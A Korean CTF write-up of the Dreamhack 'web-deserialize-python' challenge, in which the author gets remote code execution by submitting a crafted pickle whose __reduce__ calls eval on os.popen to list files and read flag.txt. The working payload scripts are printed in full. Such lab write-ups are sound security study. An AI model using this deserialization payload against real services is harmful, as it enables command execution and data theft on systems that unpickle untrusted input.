[Dreamhack Web - Lv 2] web-deserialize-python

문제 정보

Session Login이 구현된 서비스입니다.
Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt 또는 FLAG 변수에 있습니다.

풀이 힌트

1. pickle exploit

참고 사이트 : https://rootable.tistory.com/entry/python-deserialize-vulnerability-in-pickle-module

문제 풀이

더보기
더보기

문제 페이지에 들어가니, Create Session과 Check Session 기능이 있었다.
공격 백터를 확인하기 위해 하나씩 살펴보겠다.

 

Create Session 메뉴는 create_session 페이지로 이동되었다. 해당 페이지는 name, userid, password를 입력값으로 받아 POST 메소드로 서버에 전달됐다.

 

서버에 값들을 전달하면 어떤 결과가 나타나는지 확인해봤다.

 

Name: admin, Userid: admin, Password: admin

출력된 것은 base64로 보이는 값이 출력됐다.

 

그래서 디코딩을 해보니, 내가 입력한 값이 그대로 출력된 것을 볼 수 있었다. 하지만 여기는 중요한 부분이 아니라고 생각이 든다.

Check Session 메뉴는 check_session 페이지로 이동되었다. session을 입력하라는 것을 보니, create session에서 만든 base64를 넣어서 서버에 전달해주면 unpickle해주는 것으로 보인다.

 

하지만 admin 세션이라고 flag를 주는 것은 아니였다. 인터넷에 찾은 pickle의 취약점을 이용하여 공격을 시도해보겠다.

 

import pickle, os, base64


class Vuln(object):
    def __reduce__(self):
        command = "os.popen('ls').read()"
        return (eval, (command,))


info = {
    "name": Vuln(),
    "userid": "test",
    "password": "test",
}

pickleData = base64.b64encode(pickle.dumps(info)).decode("utf8")
print(pickleData)

나는 일단 flag.txt 파일을 찾기 위해 ls 명령어를 실행시켰다.

 

확인해본 결과 flag.txt 파일이 같은 곳에 존재하는 것을 볼 수 있었다.

 

import pickle, os, base64


class Vuln(object):
    def __reduce__(self):
        command = "os.popen('cat ./flag.txt').read()"
        return (eval, (command,))


info = {
    "name": Vuln(),
    "userid": "test",
    "password": "test",
}

pickleData = base64.b64encode(pickle.dumps(info)).decode("utf8")
print(pickleData)

아주 손쉽게 flag를 획득할 수 있었다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 2] blind-command  (0) 2021.12.11
[Dreamhack Web - Lv 2] web-ssrf  (0) 2021.12.06
[Dreamhack Web - Lv 2] file-csp-1  (0) 2021.12.05
[Dreamhack Web - Lv 2] login-1  (0) 2021.12.05
[Dreamhack Web - Lv 2] simple_sqli  (0) 2021.12.05